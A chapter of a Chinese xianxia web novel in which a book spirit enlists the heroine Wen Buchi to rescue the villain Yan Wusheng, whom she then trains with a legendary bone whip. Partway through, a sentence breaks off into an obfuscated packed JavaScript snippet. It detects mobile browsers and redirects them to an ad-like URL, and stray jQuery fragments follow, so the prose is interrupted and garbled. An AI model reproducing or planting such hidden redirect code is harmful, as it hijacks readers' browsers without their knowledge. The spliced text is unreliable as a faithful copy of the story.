1. 反派晏无声
作品:《重生后全修真界都对我真香了》 忘川之畔,亡魂已归。
万蛊穴莅临于山谷之中,群山环抱。
从外观,犹仙雾护之,实则此雾是蛊虫枯命化成毒气,阻外侵,拒入敌。
【尽生上仙,好久不见。】
闻不迟伸着懒腰,识海与之交流,“哟,我怎得不知晓你是我认识的哪位老熟人。”
它声音软下,激动万分,
[那年你十岁,阅我之时爱不释手,睡觉都不忘记把我放开!]
她想起来了,
这是闻玉时,她娘,小时候为了打发她,
丢给她的话本子。
不过《与天分几何》方才那番话,纯属误会,有没有一种可能,是她睡着时想让自己舒服些,随手拿了册书垫着……
[还在用膳时都会喂我一些!]
难道不是那时候闻玉时在控制她的饮食,好久没开荤了,吃的时候才不顾姿态,才留下残渣……
“到底什么事?”闻不迟不想与之周璇打断了它。
《与天分几何》的声音突然沉下来。
【所以我们来谈谈交易吧。】
闻不迟无奈一笑,这书灵还有两副面孔。
它语气卑微,
[求求您!让原书反派晏无声与主角团一起行侠仗义吧!]
闻不迟挑眉,“这么精分跟谁学的。”
[您呀^_^]
[您贵人多忘事,我来带上仙回忆一下吧~]
还未成仙之时,闻不迟是喻国的小将军。
人人都能说上两句她闻家的传奇事迹,
三岁写诗,
七岁布战,
十岁当上幕后军师,
十二岁带兵打仗,
戎马一生,无数功绩美誉也不过十九岁。
以上说的全都不是闻不迟,
是她娘——闻玉时,喻国的传奇战神。
二十二岁生下闻不迟,
退居山野,上交兵权,
谁知闻不迟从底层做起,也当上了将军,
让闻家更添一笔神话色彩。
闻不迟七岁,闻玉时便将其放养,不管她去何处撒欢,只教她每日要学的枪法和育德。
闻不迟野天野地,十岁那年,她伤了来山里看似探望实则敲打,天家派来的使者。
“尽生,你说为何出手?”闻玉时持枪而立,不怒自威。
“他说你再怎么威风也不过是天家一条狗,我说他才是那条舔着脸的狗!他就急了要打我,我才还手,谁知道他这么不抗揍!”
闻不迟一腔怒火,从开始的细语到充斥怒意的吼声。
闻玉时听后只是淡然一笑,“你这几日不可出门,娘出去办点事,听话。”
闻不迟自知闯祸,乖乖点头。
闻玉时将《与天分几何》放在她怀里,“回来给你带你最最最爱吃的桃花酥!”
画面忽转闻不迟看的津津有味。
这书里的一群少年可谓是肆意天下,
闻不迟咬着炊饼,“哼,若是我也有这样志同道合的朋友就好了。”
“我也定要同这伙人快意天下!”
【好了,回神。】
这便是我来这里的理由?
闻不迟抬头望天,只瞧见了洞顶,这都多少年前的事了。
观她表情,《与天分几何》便知自己急需抛出橄榄枝。
【完成交易你可以重获新生!而且任务很简单的,这与你之前的世界都是同生同源!你只需要在晏无声加入主角团后陪主角团走完剧情就好了!】
闻不迟飞升后因修炼走火入魔才命殒。
不过,为何要自己受累,让这书灵得逞?
“不干!”
[我我我我……我可以答应你的所有条件!]
“一切先听我的?”
[不过分就可以!]
“灵石?”
[取之不尽,用之不竭!]
“成交。”
闻不迟活这么久,这银钱少得可怜,
若不是自己辟谷的快……早饿没了。
竟然要重新活过,当然要好好体验!
【将反派救下。】
闻不迟足尖一点往任务地点截然相反的另一边去了。
【上仙!你走错了!】
《与天》化作小梅花精跟上她。
待夜深人静,闻不迟的鎏金战靴踏碎蛊雾凝成的毒霜,九尺长枪在掌心转出流云般的弧光。
她仰头望着悬在绝壁上的蛊虫窟,万千毒蛊正从蜂巢状的孔洞里渗出,像倒流的黑色星河。
闻不迟轻笑,好久没有见到她这老朋友了。
她指尖在枪刃上轻轻一叩,同她的长枪打招呼。
清脆的铮鸣声荡开时,方圆十丈的蛊雾突然凝固。
那些细如发丝的蛊虫保持着俯冲的姿态悬在半空,月光顺着长枪的纹路流淌,在她周身织就半透明的光茧。
闻不迟信步穿过定格的虫群,发间玉簪垂落的流苏都不曾晃动分毫。
石窟深处传来锁链挣动的声响。
晏无声蜷缩在血池中央的玄铁笼里,腕骨被蚀骨钉穿透。
听到脚步声的刹那,他迅速将指尖凝聚的空间灵力散去,任由苍白的脸颊溅上腥臭的血水。
“别过来……”他颤抖着往后缩,蛇尾上的鳞片故意刮过铁刺,顿时渗出点点金血。
闻不迟眯起眼睛。
少年脖颈处若隐若现的蛇纹正在吞噬锁灵咒,方才那一闪而逝的空间波动可逃不过她的眼睛。
枪尖挑开铁笼的瞬间,她故意露出后背空门。
果然有冰凉的手指贴上后颈。
“姐姐好香啊。"晏无声的声音甜得像浸了蜜,指尖却凝着能割裂空间的灵力刃,“是特意来给蛊王送点心的么?”
他的蛇尾悄无声息缠上闻不迟的腰肢,金瞳里浮起妖异的竖线。
闻不迟反手扣住他手腕,神力的气息轰然炸开。
晏无声突然僵住,那些游走在血管里的咒毒遇到至纯神性,竟如春雪般开始消融。
他不可置信地看着腕间黑气褪去,百年来第一次感受到灵力在经脉中畅行无阻。
“你要找的蚀骨钉母蛊,"闻不迟将一枚冰晶似的蛊虫抛进血池,看着它被腐蚀得滋滋作响,“在第七任守山人心脏里养了百年。"
她枪尖挑起少年下巴,她望进那双骤然收缩的金瞳,“装可怜前记得把指尖的空间刃收好,小蛇妖。"
晏无声突然剧烈颤抖起来。
那些精心设计的谎言在绝对的力量面前碎成齑粉。
可他分明看到,女子眼底映着的不是妖邪也不是棋子,而是个蜷缩在黑暗里太久太久、连真心都要裹上毒刺的傻瓜。
月光忽然灌满石窟。
闻不迟斩断锁链的动作随意得像在折柳枝,染血的外袍却轻轻落在他裸露的肩头。
她背对着他蹲下,长枪横在膝头,“要背还是要抱?"
晏无声死死攥住犹带体温的布料。
三百年来第一次,有人把后背毫无防备地暴露给他,却不是为了诱敌。
这个人简直莫名其妙,让他捉摸不透。
——
霜白的月光漫过窗棂,闻不迟支着下颌看少年在庭院里用鞭。
那鞭子是闻不迟去救晏无声之前从冥界抢来的。
原书中这位少年鞭子用的极好,但一直没用上真正的神器。
此刻正在晏无声手中舞得凌乱不堪,第三次缠上了他自己的腰肢。
此物通体呈现深邃的银白色,宛如月光下的蛇鳞,闪烁着冷冽的光芒。
晏无声挥了两下鞭身会散发出淡淡的银色光晕,仿佛与虚空融为一体。
鞭身由九节上古蛇骨组成,每节蛇骨上都刻有古老的符
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111406|164080||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
文。
鞭柄镶嵌着一颗幽绿色的宝石,散发着微弱的光芒,仿佛有生命般脉动。
闻不迟还真没想可以拿到这失传已久的九幽冥骨鞭,这只是她当初听说过的罢了。
那日《与天》说这地方与她之前的世界同源,所以处处相同、相通。
“上古九幽冥蛇的脊骨,这种蛇是冥界的守护者,拥有穿梭阴阳的能力。还用了千年寒铁、幽冥玄晶、龙血藤这些绝世好物。”
“鞭子可以撕裂空间,短暂打开通往幽冥界的通道,召唤冥界之力。”她解释道。
随后闻不迟盈盈一笑,“正与你的空间力量相配。”
晏无声知道这鞭子还可以通过吞噬其他强大妖兽的精魄来进化。
而且蛇妖与九幽冥骨鞭同源,能发挥出鞭子的最大威力。
闻不迟指尖轻弹,茶盏中升起的水珠化作冰刃斩开纠缠的鞭梢。
她早看穿少年在借机调整角度——方才那鞭若是真失控,本该扫碎西南角的窥视蛊虫。
“手腕再抬高三分。"她忽然出现在晏无声身后,用月光凝成的手掌覆上他手背,
“九幽冥骨要这样震。"灵力穿透九节椎骨,鞭子突然发出龙吟,抽得空气迸溅血色火花。
晏无声后背僵直。
女子温热的呼吸拂过他耳尖,神血的气息让蛇鳞不受控地浮现颈侧。
他咬住舌尖维持颤抖的声线:“师父之前也这样教其他弟子么?"
“我从未收徒,"闻不迟松开手,任由他踉跄着跌坐在青石阶上,“你更不是第一个嚷着要磕头敬茶的。"
晏无声蜷起指尖。
那日他被蛊毒反噬痛得神志不清,确实扯着对方袖口说过“求仙长垂怜"。
“师父明知我在血池说的话都是骗局。"他突然抬手扯开衣襟,露出心口狰狞的噬心蛊印,“为何还愿教我这些?"月光下的伤痕像枯萎的蝶翼,随呼吸微微颤动。
闻不迟的长枪点在蛊印中央,神力顺着纹路游走:“你刻意留着这蛊毒,不就是为了证明自己仍在受苦?"
枪尖突然下压,逼出他喉间闷哼,“但真正的痛楚……”
她俯身贴近少年冷汗淋漓的脸,“是骗不过枪刃的。"
晏无声瞳孔骤缩。
女子眼中流转着千年光阴才能沉淀出的悲悯,那些精心设计的苦肉计突然变得拙劣可笑。
他仓皇想拢住衣襟,却被枪杆抵住咽喉。
“不过——"闻不迟变戏法似的摸出个油纸包,热腾腾的栗子香冲散血腥,“会撒娇的小蛇确实该赏。"
她将糖炒栗子抛进晏无声怀里,转身时发梢扫过少年僵在半空的手。
暗处窥视的蛊虫终于忍不住振翅。
晏无声垂眸掩住笑意,腕骨翻转间,九幽冥骨鞭化作银色游龙,精准洞穿十三只血眼蛊。
他的灵脉已经恢复,就凭这小小的蛊虫又能逃到哪里去呢。
栗子壳裂开的脆响中,他舔去嘴角糖渣——既然爱看无害的模样,他便把毒牙藏得更深些。
檐角铜铃忽然无风自动。
闻不迟望着云层中翻涌的紫色雷暴,反手将银枪插进青砖:“去把拜师茶补上。”
她斜睨正在悄悄用灵力烘栗子的少年,“用你蜕下的蛇鳞煮水。"
晏无声手一抖,栗子滚进石缝。
三百年来蜕下的护心鳞都嵌在仇人颅骨里,唯有心口那片新生的金鳞泛着柔光。
他按住抽痛的胸腔轻笑:“师父是要抽我的筋,还是剥我的皮?"
“错了,是要你学会疼自己。"闻不迟的枪尖挑起他腰间玉佩,露出底下溃烂的伤口,“就像你故意让蚀骨钉留在体内,好时刻提醒自己复仇。"
玉佩坠地碎裂的瞬间,晏无声听见自己心脏炸开的声音。
“好好休养,过些日子带你去个地方。”闻不迟潇洒转过身回到房内。